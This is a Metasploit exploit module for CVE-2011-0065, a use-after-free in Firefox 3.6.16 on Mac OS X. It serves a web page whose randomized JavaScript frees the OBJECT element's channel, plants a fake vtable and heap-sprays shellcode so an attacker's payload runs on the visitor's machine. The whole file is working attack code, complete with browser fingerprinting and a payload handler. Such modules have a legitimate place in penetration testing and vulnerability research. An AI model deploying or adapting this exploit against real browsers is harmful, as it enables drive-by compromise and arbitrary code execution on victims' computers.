##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::FF,
:ua_minver => "3.6.16",
:ua_maxver => "3.6.16",
:os_name => OperatingSystems::MAC_OSX,
:javascript => true,
:rank => NormalRanking,
})
def initialize(info = {})
super(update_info(info,
'Name' => 'Mozilla Firefox 3.6.16 mChannel use after free vulnerability',
'Description' => %q{
This module exploits an use after free vulnerability in Mozilla
Firefox 3.6.16. An OBJECT Element mChannel can be freed via the
OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel
becomes a dangling pointer and can be reused when setting the OBJECTs
data attribute. (Discovered by regenrecht). Mac OS X version by argp,
tested on Mac OS X 10.6.6, 10.6.7 and 10.6.8.
},
'License' => MSF_LICENSE,
'Author' =>
[
'regenrecht', # discovery
'Rh0', # windows metasploit module
'argp <argp[at]census-labs.com>' # mac os x target
],
'References' =>
[
['CVE', '2011-0065'],
['OSVDB', '72085'],
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=634986'],
['URL', 'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html']
],
'Payload' =>
{
'Space' => 1024,
},
'Platform' => 'osx',
'Targets' =>
[
[
'Firefox 3.6.16 on Mac OS X (10.6.6, 10.6.7 and 10.6.8)',
{
'Arch' => ARCH_X86,
'Fakevtable' => 0x2727,
'Fakefunc' => 0x2727001c,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 10 2011'
))
end
def on_request_uri(cli, request)
# Random JavaScript variable names
js_element_name = rand_text_alpha(rand(10) + 5)
js_obj_addr_name = rand_text_alpha(rand(10) + 5)
js_sc_name = rand_text_alpha(rand(10) + 5)
js_ret_addr_name = rand_text_alpha(rand(10) + 5)
js_chunk_name = rand_text_alpha(rand(10) + 5)
js_final_chunk_name = rand_text_alpha(rand(10) + 5)
js_block_name = rand_text_alpha(rand(10) + 5)
js_array_name = rand_text_alpha(rand(10) + 5)
# check for non vulnerable targets
agent = request.headers['User-Agent']
if agent !~ /Intel Mac OS X 10\.6/ and agent !~ /Firefox\/3\.6\.16/
print_error("Target not supported: #{agent}") if datastore['VERBOSE']
send_not_found(cli)
return
end
# Re-generate the payload
return if ((payload = regenerate_payload(cli).encoded) == nil)
payload_buf = ''
payload_buf << payload
escaped_payload = Rex::Text.to_unescape(payload_buf)
# setup the fake memory references
my_target = targets[0] # in case we add more targets later
fakevtable = Rex::Text.to_unescape([my_target['Fakevtable']].pack('v'))
fakefunc = Rex::Text.to_unescape([my_target['Fakefunc']].pack('V*'))
exploit_js = <<-JS
#{js_element_name} = document.getElementById("d");
#{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink);
#{js_element_name}.onChannelRedirect(null, new Object, 0)
#{js_obj_addr_name} = unescape("\x00#{fakevtable}");
var #{js_sc_name} = unescape("#{escaped_payload}");
var #{js_ret_addr_name} = unescape("#{fakefunc}");
while(#{js_ret_addr_name}.length < 0x120)
{
#{js_ret_addr_name} += #{js_ret_addr_name};
}
var #{js_chunk_name} = #{js_ret_addr_name}.substring(0, 0x18);
#{js_chunk_name} += #{js_sc_name};
#{js_chunk_name} += #{js_ret_addr_name};
var #{js_final_chunk_name} = #{js_chunk_name}.substring(0, 0x10000 / 2);
while(#{js_final_chunk_name}.length < 0x800000)
{
#{js_final_chunk_name} += #{js_final_chunk_name};
}
var #{js_block_name} = #{js_final_chunk_name}.substring(0, 0x80000 - #{js_sc_name}.length - 0x24 / 2 - 0x4 / 2 - 0x2 / 2);
#{js_array_name} = new Array()
for(n = 0; n < 0x220; n++)
{
#{js_array_name}[n] = #{js_block_name} + #{js_sc_name};
}
JS
html = <<-HTML
<html>
<body>
<object id="d"><object>
<script type="text/javascript">
#{exploit_js}
</script>
</body>
</html>
HTML
#Remove the extra tabs
html = html.gsub(/^\t\t/, '')
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, html, { 'Content-Type' => 'text/html' })
# Handle the payload
handler(cli)
end
end